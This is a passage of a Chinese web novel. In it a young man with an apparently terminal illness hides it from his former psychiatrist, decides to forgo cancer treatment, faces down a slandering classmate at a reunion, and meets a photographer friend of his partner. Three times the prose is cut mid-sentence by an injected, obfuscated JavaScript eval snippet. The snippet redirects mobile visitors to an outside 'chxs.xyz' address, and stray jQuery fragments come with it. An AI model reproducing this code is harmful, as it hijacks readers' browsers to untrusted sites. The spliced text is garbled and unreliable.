兰又嘉便没有直接回家——在自欺欺人的泡沫彻底碎裂之后,那里或许已经称不上是个家了。 他不想回去,任由自己被步履匆匆的人潮裹挟着前进,像片没有归处的落叶,在偌大的城市里游荡飘零。 即将枯萎,也无人注视的落叶。 日色高悬,兰又嘉不知道自己走了多久,直到眼前的城市风景变得越来越熟悉,才怔怔地停下脚步。 前面是一栋矗立在街角位置的白色小楼,漂亮整洁,楼下花坛里栽着郁郁葱葱的桂花树。 与此同时,他身后的茫茫人海里,传来一道有些诧异的男声。 “嘉嘉?” 6. 6 “程……程叔叔!” 在愕然回望之前,兰又嘉已经下意识地喊出了对方的名字。 他转头,果然看见了那道熟悉的身影。 喧嚣嘈杂的街头,那人身形修长,戴一副无框眼镜,面容神情被逆光模糊,一身温文清贵的气质却如鹤立鸡群,他身旁的同伴语带好奇:“嘉嘉?程医生,这是你那个小病人?” 朦胧耀眼的日光里,兰又嘉隐约看见他微一颔首。 于是他深呼吸,先露出笑容,重新打了个正式的招呼:“好久不见,程叔叔。” 程医生是他在十年前就认识的心理医生。 自从兰又嘉搬进傅呈钧给他的家,戒断了止痛药之后,就再也没有见过医生了。 说话间,两位吃过午餐一道回来的医生已经走近,另一个医生主动道:“幸会幸会,怪不得让人这么难忘呢!那你们聊,我先上去了。” 程医生像是笑了笑:“好,我晚点过来。” 兰又嘉同这位面露惊艳不时回望的中年医生挥手道别,目送他走进那栋有桂花树环抱的白色小楼。 然后才转头看向程医生,惊奇地问:“我没见过他,是新来的医生吧?怎么会知道我的名字?” “其他同事有时候会跟我提起你。”程医生解释道,“你一直是我最特别的病人。” 兰又嘉就面露感叹:“看来这两年里你依然没有遇到比我更麻烦的病人,好幸运,怪不得一点都没有变老。” 刚认识时,程医生才二十五岁,十年过去,时光没有在对方身上留下多少痕迹,仍然风度翩翩,清隽迷人。 却让他从一个只是需要心理医生的孩子,变成了连身体都无药可救的大人。 面对他的调侃,程医生似乎有些无奈,目光落在他身上,语气严肃了几分:“怎么瘦了这么多?” 兰又嘉分明穿着将自己遮得严严实实的长裤长袖,久未见面的医生却一眼看出他瘦了。 他眼眶有些发热,眸光因此更加潋滟,话音也轻快:“因为在减肥嘛,下周就是毕业晚会了,我是主持人,瘦一点上镜才好看,要全程录像的。” 程医生听罢,没有说什么现在已经很瘦了之类的劝阻,而是问:“吃午饭了吗?” 兰又嘉有点意外:“午饭?” 他在茫然无依的游荡中忘了时间,此刻看到日头高晒,才意识到原来已是正午。 反应过来后,他立刻接话道:“啊,吃过了,今天不小心吃太多,只好多走走消化掉,结果就走到这里了。” 先前从医院取的药,药盒已经被他拆开丢掉,一板板药片都塞在宽大的外套口袋里,不用担心被看出来。 其实他很会撒谎的。 过去是心理医生要求兰又嘉对亲近的人敞开心扉,不要将全部情绪埋在心里。 所以后来的兰又嘉决定对他唯一爱着的人敞开心扉。 他曾经对傅呈钧格外诚实。 程医生听完他的解释,却说:“这条街尽头新开的那家面馆还不错,应该符合你的口味,我问过,那家店的面条里不添加鸡蛋或奶制品。” 兰又嘉愣了一下。 紧接着,便听到医生笃定的询问:“你看起来脸色不太好,出什么事了?嘉嘉。” 他被问得猝不及防:“我……” 见眼前的青年一副在想该怎么狡辩的样子,程医生倒笑了起来,温声道:“无论你是特地过来,还是无意识走到这附近,都证明你心里有自己处理不了的事,潜意识里想向我求助。能在这种时候被你想起,我很高兴。” 兰又嘉看着男人脸上的温和笑容,出神地听他解释自己是怎么被看穿的。 忽然,他也笑了起来。 上天待他薄幸,却又总在他最需要的时候,送来一点点光。 不够多,但已经足够他照亮剩下的路。 与前一刻兰又嘉脸上礼貌的微笑不同,这个骤然绽放的笑容一如年少时那样灿烂天真,令人难以忘怀。 程医生怔了怔,被镜片遮挡的目光更模糊了一些,轻声问:“在笑什么?” “没什么。”兰又嘉认认真真地说,“只是想起了一些看过的小说。” 他想起那些描写绝症的小说里,治疗病人的医生常常会成为对方最重要的朋友。 可程叔叔是心理医生,他能治疗心灵的顽疾,但对身体的绝症束手无策。 还是不要让他觉得苦恼了。 也别让他伤心。 所以兰又嘉没有提起生病的事,他继续驾轻就熟地说着谎言,连心理医生都无法察觉出来的、半真半假的谎言。 “其实我是有点迷茫,被你发现了……对不起,我不应该撒谎的。”他说,“因为快毕业了嘛,不知道未来该往哪里走,该怎么选。” “程叔叔,一件很痛苦、很大概率会失败,但在别人眼里应该要做的事,和一件要轻松和快乐许多、但会被规劝不该这么做的事,我应该选哪一个更好?” 清澈的话音流淌在初夏天空下,如云影般蹁跹浮动。 而程医生看着他的笑容,很快回答道:“选能让你觉得快乐的。” 看,当问题里遮去生死,选择竟那么简单。 兰又嘉得到了答案,仿佛卸下了某种重担,目光愈发明媚:“好,选轻松快乐的。” 他终于能下定决心,放弃抗癌治疗。 只要止痛就够了。 “幸好今天遇到了你,程叔叔。”他有些不好意思地说,“你该回去午休了吧?我好像饿了,就去街尾的那家面馆吃午饭好了……” “嘉嘉。”像是被他没头没尾的问题感染,程医生蓦地问,“你实现心愿了吗?” 那个关于爱的心愿。 兰又嘉的笑容里没有半分瑕疵:“实现了,两年前就实现了。” 他得到爱了。 或许还是怕这句彻彻底底的谎话露馅,他又想起来什么似的,匆匆问道:“对了,下周六晚上,程叔叔你有空吗?我的毕业晚会就在那天——” 话音未落,被突然响起的手机铃声打断。 兰又嘉愣了愣,从口袋里拿出来,扫了一眼。 程医生注视着他的神情,问:“男朋友?” 他将手机调成静音,没有否认,面露骄矜:“没事,我等会儿再打回去。” 见状,程医生脸色未改,似乎回想了一下行程,然后抱歉地说:“我很想去看你的毕业晚会,但那几天我要出差,不在京珠……你先接电话吧?万一有急事。” “好吧,没关系,我原谅你。”兰又嘉扬起唇角,明艳热烈一如往昔,“反正听不到我弹的钢琴,有损失的是你。” “嗯,我现在就开始遗憾了。”程医生很配合地应声,最后叮嘱他,“嘉嘉,以后要好好吃饭。” 萍水相逢的偶遇到此画下句点。 不出意外的话,这大约就是他和程医生见的最后一面了。 离开时,兰又嘉回头深深望了他一眼,带着轻快的笑。 “再见,程叔叔。” 他告别了那片未到花期的桂花树,渐渐消失在街道的尽头。 人潮熙攘汹涌,天光云影流动,停留在原地目送的那道身影过了很久,才转身上楼。 兰又嘉走进街尾那家新开的面馆,要了一碗招牌面,等待的间隙,回拨那个未接来电。 刚才打来电话的是他大一大二时的室友柯云川,当时关系还算不错,后来他一心恋爱,也搬出了宿舍,就成了交集不多的普通朋友。 ——无论如何,这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790929|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话都不会是“男朋友”打来的。 傅呈钧从来不会主动联系他,偶尔几次有事找他,也是秘书或助理代为转达。 他有太多事要忙,感情只是他人生版图里最不起眼的一片边角料,是可有可无的调剂品。 在电话的等待音,兰又嘉漫无边际地想着,直到听见话筒那端传来的声音,背景很嘈杂:“喂,嘉嘉?……呃,你现在还好吗?” “什么?”面对突如其来的关切问候,他有点疑惑,“怎么了?” “没事吗?你没事就好。” 那边的声音安静了一些,像是柯云川特意走到了旁边:“答辩结果出来了,我们班都过了,大家就说今天一起聚一聚,算是毕业前的散伙饭,昨天在群里通知的,班长也小窗问了,但你一直没回。” 兰又嘉完全想不起来在这混乱动荡的两天里究竟收到过什么消息,便抱歉道:“这两天有点事,没留意消息,是今天晚上吗?” 柯云川说:“他们说要玩一天,所以中午就出来唱歌了。我知道你估计在忙,你刚庆祝完生日嘛,所以本来也没多想。” 他犹豫片刻,叹着气道明了来意:“但是刚才坐下没多久,姜黎就说、说那天看到你在餐厅出事了,救护车都来了,说你第二天来答辩穿长袖,而且到现在我们都联系不上你就是因为这个,还提到你男朋友……什么什么的,所以我觉得还是要问问你,毕竟你今天不在,也没人能替你解释,都只能听他说。” 柯云川说得很委婉,兰又嘉依然听明白了。 目睹他过敏被送医那一幕的姜黎,估计凭空编造了一个足够难听的故事,连他关系已经转淡的昔日室友都听不下去了。 于是兰又嘉真心实意地说了谢谢,同时问他:“你们在哪里唱歌?” “不客气,你不嫌我多事就行,我们在——哎,你要过来吗?” 柯云川的语气很意外,令兰又嘉忍不住笑了出来。 从他跟傅呈钧在一起之后,几乎没有参加过聚会一类的活动,像个独来独往的透明人。 “对,我吃完午饭就过来。”他认真地说,“因为不忙了……以后也不用忙了。” 没有人再需要他全心全意地去爱。 鲜香四溢的招牌面刚端上来,兰又嘉拿起筷子,最后问电话那头的人:“对了,那里有没有什么招牌小吃?” 他依然毫无食欲,却也不想自己瘦得那么难看。 而且,他答应了程医生要好好吃饭的。 一小时后。 兰又嘉到达目的地,下车后径自走进面前这家装修华丽定位高端的会所,立刻有侍应生热情地迎上来。 送他来的出租车掉头离开,却有另一辆原本要驶离的豪车,忽然停了下来。 “怎么了亲爱的?忘拿东西了?” 身旁的女伴一边问一边黏上来,胸前的波涛有意无意地撞上男人缠满绷带的那只手臂。 “……”正专心盯着车窗外的宋见风倒抽一口冷气,“轻点!豹子伤还没好!” “好嘛。”女人努了努嘴,同他一道望出去,“那你看什么呢?又看上哪个妹妹了?” “别胡说。”宋见风随口否认,目光却始终没有移开,渐渐染上一抹兴味,兀自嘀咕起来,“没看错啊,就是他,老傅不至于带着人在这儿谈生意吧?” 女伴问:“谁啊?” 回答她的是车门被哐当甩上的声音。 “你把车开回去吧,晚点再联系你。” 一贯热衷于追逐危险和未知的摄影家仿佛找到了什么有趣的东西,长腿一迈,头也不回地追着那道身影走了进去。 那个满心满眼都是傅呈钧的漂亮青年怎么会一个人出现在这种地方? 不行,他得替老傅盯着点。 7. 7 室内灯光迷离,音乐声鼓噪,将时间一概模糊成暧昧疯狂的夜晚。 宋见风脚步匆匆,朝正要迎上来的相熟销售摇了摇头,视线始终追着前方那道身影。 对方穿着一身在夏天显得有些闷热的深色长裤长袖,只露出一小截白皙细腻的颈间肌肤,被柔顺垂落的黑发衬出几分易碎感,身形挺拔,光是背影都很好看。 即使衣着不显,但给宋见风的感觉仍和上次见到他时一样。 一个在明艳爱意里长大的,天真烂漫、不谙世事的小王子。 ——兰又嘉会弹钢琴,而且弹得非常漂亮和动人,当然该被称作小王子。 所以今天是偷偷跑出来打猎了? 宋见风看出了对方的目的地很明确,一路被侍应生引着过来,显然是有人已经开好了包间等待。 他面露好奇,琢磨着是不是该给傅呈钧发个消息问问,没准包间里就坐着那位大资本家,虽然可能性非常低…… 或者直接上去打个招呼好了,万一兰又嘉是遇到了什么乱七八糟的事呢?他也能顺手帮一把。 毕竟不远处那个气质干净剔透的青年,看起来和这里的浮华奢靡实在有些格格不入。 宋见风这样想着,正要主动叫住兰又嘉,却被前方突然爆发的一道充满不耐的声音打断。 “妈的,你有完没完,非拽我出来干嘛!” 有两个年轻男生在包间外的走廊上起了争执,看上去像是大学生。 其中一个男生猛地推开了另一个人拽着他的手,于是后者的脸色也变得难看起来。 “姜黎,你才有完没完!”被推开的男生低声骂了一句,忍着怒气,仍在试图劝阻,“你是不是啤酒喝懵了啊?老是说那些干什么,你没看到好几个女生的表情都不对了吗?今天本来是大家想再最后好好聚一聚的,兰又嘉他连人都没来,你——” “对啊,就是因为他没来,所以我哪里说错了?!” 姜黎的确是喝了酒,此刻脸色发红,眼神里满是讥讽:“最后一次毕业聚会不来,压根不回你发过去的消息,答辩那天也慌慌张张的,一副见不得人的样子,像生了什么大病,指不定是被他那个有钱的男朋友折腾成什么样了,要不然怎么会连救护车都来了!” 他越说越难听,音量也毫不控制,包间里的其他同学隐约听到了动静,一时间面面相觑。 知道兰又嘉要来的柯云川彻底坐不下去了,连忙推门出来,看向一脸头疼的班长:“这傻逼绝对喝大了,要不我们给他叫个车送他回学校吧?” “行,我叫车,不然今天是没法聚下去了……” 姜黎正在兴头上,压根没理会两人的对话,不加掩饰的恶意愈发浓重:“那种人有几张臭钱,外人看起来人模狗样的,背地里不知道玩得有多狠,也不知道姓兰的到底看上这种变态什么——” 直到旁边蓦地响起一道轻笑声。 这道笑声不大,在混乱嘈杂的环境里却分外清晰鲜明。 像是听见了什么很好笑的事,所以心情愉悦地笑了出来。 柯云川觉得这个声音有点耳熟,率先扭头望过去。 然后就瞪大了眼睛:“嘉……嘉嘉?!” 覆满了走廊的射灯流光溢彩,把来人的眸子照得格外亮,那里面清澈见底,没有半分恼怒。 “看上了变态的臭钱啊。”他笑盈盈地看着姜黎,“答案不是已经在你的问题里面了吗?” 突然到场的兰又嘉出乎了其他人的意料,连姜黎都愣了好一会儿。 紧接着,他面色涨红,像是被那个置身事外般的笑容激怒了,什么难听的话都往外蹦:“兰又嘉!你还好意思来?出去卖就算了,还挺光荣的?你到底要不要脸啊?平时那副清高劲儿怎么装得那么像样呢——” “操!”柯云川受不了了,猛地把他往后一掼,“你是真有病吧?!” 姜黎不肯罢休:“放手!你这么帮着他干什么?哦,我想起来了,你们俩原先是室友对吧,天天睡一块的,那怪不得……” “姜黎!”见他越说越离谱,班长连忙呵止,肃着脸帮忙拦,“你够了啊,赶紧闭嘴,别他妈在这胡说了。” 同时转头看兰又嘉,抱歉道:“对不起啊,他喝多了发疯,你别放在心上,我们都不可能把这种话当真的。” 兰又嘉却仍旧笑着,朝他摇摇头:“没关系,谢谢班长。” 然后他也喊了那个正借着酒劲发泄恶意的同学:“姜黎。” 声音清清淡淡的。 正跟柯云川推搡的姜黎动作一僵,本能地抬头看他。 兰又嘉敛起了表情,精致得过分的面孔上此刻只剩平静:“虽然你是喝醉了在说胡话,但有一句话其实你说对了。” 闻言,在场的人都静了静,下意识屏息去听。 “我的确生了大病,刚查出来的。”他淡淡地说,“现在身体状况已经很差,可能连毕业晚会都没办法参加了,正打算跟老师说这件事,到时候主持人和压轴节目的位置都会空出来。” “你说,谁来填上这个空比较合适呢?” 话音落地,气氛凝固了好几秒,才被柯云川打破。 他呆呆地盯着兰又嘉,难以置信地开口:“什么病?一下子这么严重……” 姜黎的眼睛则一下子亮了,目光里的恶毒和轻蔑霎那间被兴奋所取代,好像已经开始想象某种值得期待的未来。 直到又一缕鲜明好听的笑声淌入空气。 兰又嘉先是看了眼柯云川,有些不好意思:“抱歉,我开玩笑的。” 然后,他望向姜黎,唇边扬起的笑容分外明艳,仿佛在欣赏那抹轻易上钩的兴奋。 “你真好骗啊,姜黎。”他忍俊不禁道,“我以前怎么没发现你这么有趣?” 话音里甚至还带了几分情真意切的遗憾。 “如果早知道的话,我一定会跟你做朋友的。” “——这样你至少可以光明正大地嫉妒我了,不用总是像老鼠一样躲在阴沟里说那些话,对不对?” 短暂愣怔后,意识到自己被戏耍嘲弄了的姜黎瞬间气得面红耳赤,一时间竟是想直接冲上来动手:“兰又嘉!你他妈!” 兰又嘉丝毫不觉得害怕,没有一点想避开的动作。 倒是身后隐约传来一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790930|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陡然加重的脚步声。 他还没来得及回头看,就见到刚才一直拦着姜黎的班长眼疾手快地拽住了人:“别闹了!你就是活该……” 包间里的其他同学也跑出来劝和,硬生生把姜黎拉走了,隔开了明显已经势同水火的两人。 耳畔一片吵闹,兰又嘉面无表情地收回目光,正想再对刚才明显一脸担忧的柯云川说声抱歉,就撞上了对方望着自己怔忡出神的目光。 他面露不解:“怎么了?” 柯云川半晌才回过神来,连忙摇摇头:“没什么。” 兰又嘉便笑着安慰:“那句话真是开玩笑的,别担心。” 闻言,昔日的好友欲言又止,最终也没忍住,有点感叹似的道:“不是,我就是觉得……好像又见到了咱们还是室友那会儿的你。” 那时的兰又嘉还没有谈恋爱,是整个学院里最耀眼的学生。 有太多人喜欢他,飞蛾扑火地向他告白,而他会一个个拒绝过去,一本正经地告诉他们:对方不是他喜欢的类型,他没有心动的感觉,或是这个季节还不适合谈恋爱。 他的理由五花八门,每次都说得坦诚干脆,目光却澄澈柔软,让人一点都生不出被拒绝的恼恨,只是觉得遗憾。 遗憾那抹无拘无束的烂漫,一刻也不曾为自己停留。 说完,柯云川想到了什么,怕他误会,连忙解释:“我没有别的意思,谈恋爱也挺好的,你觉得开心最重要,呃,我不是在说你谈恋爱不好……算了。” 他懊恼地抓抓头发,索性放弃了越抹越黑的解释,转移话题道:“你身体没事就好,不过话说回来,以后还是别开这种玩笑了,别咒自己。” 兰又嘉就笑:“嗯,我知道,不会了。” 说话间,柯云川的视线越过他的肩膀,犹豫了一下,小声问:“你男朋友陪你过来的吗?” 他怔了怔:“什么?” “我发现他一直在那边看着你,刚才姜黎想动手的时候,他差点就冲上来了——是你男朋友吧?蛮帅的。” 柯云川说着,向那人礼节性地点了点头,最后道:“那我进去了嘉嘉,你要是还有心情,就再过来跟大家聚聚,总之我跟班长先去把那傻逼弄走。” 他匆匆转身进了包间,而兰又嘉一脸茫然地顺着他方才的视线望过去。 傅呈钧怎么可能会出现在这里…… 事实上,柯云川说的那个人的确不是傅呈钧。 倚在墙边的男人身材修长,手臂上缠着的白色绷带很是醒目,但更引人注意的是一双微微上扬的桃花眼,似笑非笑,恣意风流。 见他终于发现了自己,男人才扬起没有受伤的那只手臂,冲他挥了挥,算是打招呼:“记得我么?” 这番偶遇来得突然,兰又嘉反应了好一会儿,才想起眼前这个不算多么熟悉的男人是谁:“……宋先生?” 刚看完一出好戏的宋见风,心头还残留着难以言喻的惊奇,像是发现了一片蕴满奇珍异宝的新大陆。 “答对了,兰又嘉。” 他一字一顿地喊出青年的名字,失笑道:“我以前怎么没发现你这么有趣?” 8. 8 霓虹灯光闪烁不停,走廊上一度没了旁人。 在宋见风笑着念出他姓名的一瞬间,兰又嘉有短暂的恍神。 那双眼睛里含着玩世不恭的笑意,分明该是疏离遥远的,却又在好像触手可及的距离里,心无旁骛地注视着他。 他曾经在傅呈钧带自己出席的宴会上见过宋见风一两次。 往日里兰又嘉爱说话,总是缠着傅呈钧喋喋不休,先事无巨细地汇报自己刚做了什么,又问他在忙什么,心情好不好……男人乐于回应他时,给出的答案中,偶尔就会出现宋见风的名字。 这一次傅呈钧去南非出差,就提到在那里碰巧遇见了专程去拍大象迁徙的宋见风。 兰又嘉知道宋见风是个摄影师,而且被外界誉为年轻一代中最会拍人物的天才摄影家,他是傅呈钧的朋友,也有一点工作关系,有时会为集团旗下新推出的顶尖奢侈品拍广告照,每次出手都能让看客驻足惊艳。 但仅此而已,他对宋见风的了解只有这么多,是位接触不多的宋先生。 同一时间,宋见风看出他在走神,唇畔勾起的笑意又浓了几分,调侃道:“怎么,想起老傅了?他可没跟我一块儿来,估计正忙着呢。” 于是兰又嘉收回思绪,没有承认也没有否认,似乎有些抱歉地笑了一下,目光落在那圈很引人瞩目的绷带上:“那是因为大象吗?” 这下换宋见风愣住了,跟着低头瞥了眼自己的手臂,慢半拍道:“……不是,是被豹子咬的。” 而眼前的青年没有像他身边的任何一个情人那样,露出吃惊或害怕的表情,然后说些天啊好可怕你没事吧之类显而易见的废话。 他只是哦了一声,再诚实地解释自己的提问:“我还以为是大象迁徙的时候,甩鼻子把你拍开了。” “……怎么可能。” 宋见风笑出了声,仿佛同他一道走进了那份斑斓离奇的想象:“那就不是一条手臂能解决的事了,我整个人都得被拍散架。” “也对,它的鼻子那么大。” 兰又嘉点了点头,小声感慨:“非洲好危险。” 他说话时的语气一本正经,浓密微翘的睫毛忽闪着,令深黑眼眸中的那份明媚若隐若现。 也令宋见风心里忽然产生一个奇异的念头。 ——那趟非洲之行最大的收获,既不是差点被豹子咬断手,不是见证世界最大钻石的横空出世,也不是亲眼目睹五月的南非被白雪覆盖。 而是因此莫名其妙地,见到了小王子的另一面。 平时或许只有傅呈钧能看见的那一面。 靠,怎么有点嫉妒了。 宋见风这样想着,正打算趁傅呈钧不在,再逗逗眼前这个头一回单独碰面的青年,可视线重新聚焦在对方身上时,却怔了一下。 “你怎么了?”他看出兰又嘉脸色发白,垂在身侧的手指也攥紧了,“身体不舒服吗?” “……有一点反胃。”兰又嘉的声音隐隐发颤,“抱歉,我要去一下卫生间。” 他好像不该逼着自己把那碗面吃完的。 在来的路上就隐约觉得不舒服,亲身参加了一场闹剧后,此刻再静下来,食物在胃里烧灼翻涌的感觉越来越明显。 医生说过,食欲不振和恶心呕吐,是这种疾病再常见不过的症状了。 兰又嘉勉强忍耐着想吐的冲动,脚步仓皇地向旁边走去,想找侍应生问卫生间在哪。 可身旁本该同他擦肩而过的男人,却蓦地握住了他的手腕。 像一阵不容分说,执意停驻的风。 “跟我来。” 十分钟后,兰又嘉脸色很差地走出卫生间的时候,迎接他的是一杯温水。 宋见风一直在外面等他,这会儿看到他额前遍布湿漉漉的汗水,难免觉得有几分可怜:“给,漱漱口,我再让他们拿条毛巾来。” 兰又嘉看他一眼,接过水杯,认真地说:“谢谢你,宋先生。” “客气。”宋见风挑了挑眉,“叫我见风好了,或者连名带姓喊也行,你男朋友就是这么喊的。” 兰又嘉正捧着水杯漱口,没有说话,只是眼眸微弯。 宋见风吩咐完侍应生去拿毛巾,又回头看他,语气散漫道:“你这反胃挺严重的,吃坏东西了?还是刚才被那个人恶心到了?” 回想了一下,先前趁着喝多了耍酒疯那个年轻人说的话,是够恶心人的,连宋见风这种事不关己的外人听了都要皱眉,何况是被恶毒编排的当事人亲耳听见。 只是兰又嘉的反应太冷静和从容,以至于那些难听至极的话都轻飘飘地褪了色,不再具备半分力道。 “话说回来,那小子说的变态是谁啊?”宋见风琢磨着刚才听到的话,权当是给正在水池前清理自己的青年解闷了,“他见过老傅?” 但凡是见过傅呈钧本人的,就算心里再酸,都不可能说出有几个臭钱、人模狗样这种话。 那也太昧良心了。 兰又嘉说:“没有,应该是偶然看见了梁助,然后误会了。” “啧,这样倒还说得过去。” 宋见风扯了扯嘴角,没问他救护车又是怎么回事,而是开了个玩笑:“不过说真的,姓傅的是挺变态的,怎么会有人能一年三百六十五天都在工作还不崩溃的啊。” 水池前,兰又嘉弯下腰掬起一捧水,想洗去满头狼狈的冷汗,闻言想了想,坦然回答了这句玩笑:“因为那是他的支点吧。” 就像爱是他的支点一样。 宋见风再一次没能料到他的反应,顿了一下,戏谑道:“是吗?我以为你会希望他把感情看得更重一点。” “我希望,可他不是这样的人。” 在兰又嘉始终轻且平静的声音里,透明的水流打湿了他的脸颊,水花无声飞溅。 与此同时,随着他俯身的动作,一枚由银链串起的戒指从外套里滑了出来,悬在白皙纤细的颈间轻晃。 戒指上镶有一粒璀璨无瑕的艳彩蓝钻石。 蓝得惊心动魄。 一旁的宋见风明显愣住了,不知是因为他的回答,还是因为这抹蓝。 半晌后才道:“这戒指是……老傅送你的?” 兰又嘉点点头,诧异于他的反应,好奇地问:“怎么了?它很贵吗?” 在从抽屉里拿出这枚戒指的那天起,他就一直戴着它,只有在医院做检查的时候才摘下片刻。 傅呈钧太忙,给不了他想要的陪伴。 所以他把这枚戒指当作了同伴。 见证他被推进雪白机器里扫描全身癌细胞的同伴。 无人在旁,钻石也算是陪伴。 闻言,宋见风神情复杂,下意识走近了他,难得有些踌躇:“倒不是因为贵,主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790931|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是它——” 他没能说完,有人快步过来了,毕恭毕敬道:“先生,您要的毛巾。” 跟着侍应生一起过来的,还有一个行色匆匆的女孩子。 她似乎在找人,等终于看到水池前那个青年时,才悄悄松了口气。 “兰又嘉!”女生一脸惊喜地唤他,“我还以为你已经走了。” “云川他们叫车把姜黎送走了,不会再有人乱讲话的,你要不要过来跟大家玩一会儿?你基本都不参加班上聚会,今天难得来……你脸色怎么这么差?还好吗?” 女生絮絮叨叨地说着,在察觉到兰又嘉状态不对的那一刻,一下子紧张起来,原本躲在话语背后的心意便忘了要隐藏:“你是生病了吗?要不要我陪你去医——” 直到她后知后觉地注意到兰又嘉身边的那个男人。 俊美倜傥的男人从侍应生手中接过热毛巾,动作很自然地递给脸庞被水打湿的青年,显然是一种照顾的姿态,不需要任何外人再插手。 看见两人之间称得上亲密的距离,女生意识到了什么,脸上闪过一丝黯然,连忙道:“不好意思啊,我不是故意打扰你们的,我是兰又嘉的同班同学……那个,我先回去了。” 她离开的脚步比来时更仓促凌乱,留下一地微妙的寂静。 良久,宋见风轻笑一声,耸了耸肩:“完了,这下误会大了。” 他嘴上是这么说,语气里倒没有多少真切的担心。 “我看起来难道不够直么?”宋见风半调侃半认真地问,“是不是应该去跟暗恋你的女同学解释一下?” 兰又嘉摇了摇头:“没关系,马上毕业了,以后没什么机会再见面。” 宋见风瞥他一眼,笑道:“看不出来,你的心还挺冷。” 兰又嘉也笑了笑,没再接话。 他擦过脸,放下了毛巾,侧眸看向今天偶然碰见的那位宋先生。 因为接二连三的打断,先前尚算融洽的气氛已经淡去,对话理所当然地该到尾声。 “我现在感觉好很多,刚才麻烦你了。我想过去跟他们坐一会儿,今天是最后一次同学聚会。” 兰又嘉礼貌地同他告别:“谢谢宋先生,再见。” 宋见风轻应了一声,没再试图改变他的称呼,语气随意道:“行,回见。” 这次青年真的同他擦肩而过,背影渐渐消失在光彩弥漫的走廊尽处。 而一贯没个正形的男人站在过道这一头,半晌才收回视线,心情很奇妙地叹了口气。 今天跟兰又嘉的偶遇,完全颠覆了宋见风过去对这个人的印象。 从面对敌意的沉静、狡黠、游刃有余,再到面对他的好奇、脆弱、敏感清醒…… 他总以为这就是兰又嘉的另一面了,是对方往日吝于在陌生人面前展现的真实一面,是只有最亲近的人才能窥见的那一面。 可直到互道再见的这一刻,宋见风才恍然惊觉,不止如此。 最大的变化分明是关于另一个不在场的人。 也是那个会令他和兰又嘉间接相识的人。 ——从头到尾,兰又嘉一次都没有主动提起过曾经满心满眼的恋人。 即使是在被他问起的时候,话音也是近乎淡漠的平静。 给人的感觉就像…… 就像他已经不再执着于要得到那个人的爱。 9. 9 翌日,JA集团亚太分部。 宽敞到几近空旷的总裁办公室里,清晰地回荡着宋见风一个人的声音。 “——你知道的,她现在的记忆乱七八糟,这两天刚好停在小霜喊着非你不嫁的那年,满心以为我们老宋家终于要办场婚礼了,念叨个不停,大半夜都精神抖擞的,挨个敲我们房门问请柬写好了没,她要检查。” 他站在窗边,仍缠着绷带的手臂垂在身侧,另一手提着水壶,殷勤地给身旁那排名贵绿植浇水。 “所以我妈托我问问你,今晚能不能来家里吃顿饭,权当哄哄老太太,她说什么你点头就成,只要遂了她的愿,立马就换件事惦记了,用不着真办什么婚礼,最多吃完这顿饭走人的时候,屈尊让小霜挽个胳膊,秀秀恩爱,出了家门立马松开。” 可惜一直到这些价格不菲的绿植都快被水淹死了,正在看文件的男人连眼都没抬一次,也没应声。 宋见风暂缓动作,直起腰问他:“老傅,你听到没?再不说话我撕票了。” 办公桌那里始终萦绕着纸张被匀速翻动的声音。 被叫到名字的男人总算开口,淡淡一声:“没空。” 绑架行动宣告失败,宋见风叹了口气,只好手下留情移开水壶:“我就知道,今晚反正是又别想睡了,要不我还是买张机票跑路算了,没准能赶上斯佩罗的鲜花节……” 他嘀咕着,忽然又想起什么:“对了,还有件事,只有你能帮上忙——不用你花时间,点个头的事而已。” 闻言,傅呈钧面无表情道:“说。” 宋见风就说了:“能不能把奥罗拉之心借我一天?我想瞻仰瞻仰,顺便拍点照片留念。” “说起来你也是小气,我都帮你们这牌子拍过多少图了,也算拉动销售额的大功臣,愣是没让我亲眼见过一次这颗传奇蓝钻……还是说你已经送回欧洲那边,不在你手里了?” 在他提起这颗钻石时,纸张翻动的声音有片刻停顿。 等最后那句尾音悠长的疑问句落地,分心处理着工作的男人瞥了一眼时间,言简意赅道:“我还有五分钟开会,你到底要说什么?” “……行吧,瞒不过你。”宋见风耸了耸肩,一脸无奈,“我这不是知道你不爱跟人聊这些事,特意委婉点嘛。” “四分钟。” 他便冷不丁道:“我昨天遇到兰又嘉了。” 原本执着钢笔正要签字的动作蓦地停住。 傅呈钧的视线终于离开了手边的工作,掀眸看他:“昨天?” “对,在我常去的一家店,他应该是来参加大学同学聚会,中途发生了点小插曲,不过他自己就处理好了,都轮不到我见义勇为,挺厉害的。” 宋见风一口气说完,接着八卦道:“你们俩是不是闹什么矛盾了?我感觉他在生你的气,而且气得挺狠,我估摸着肯定是你不对,老傅,我早说了该哄就得哄……” 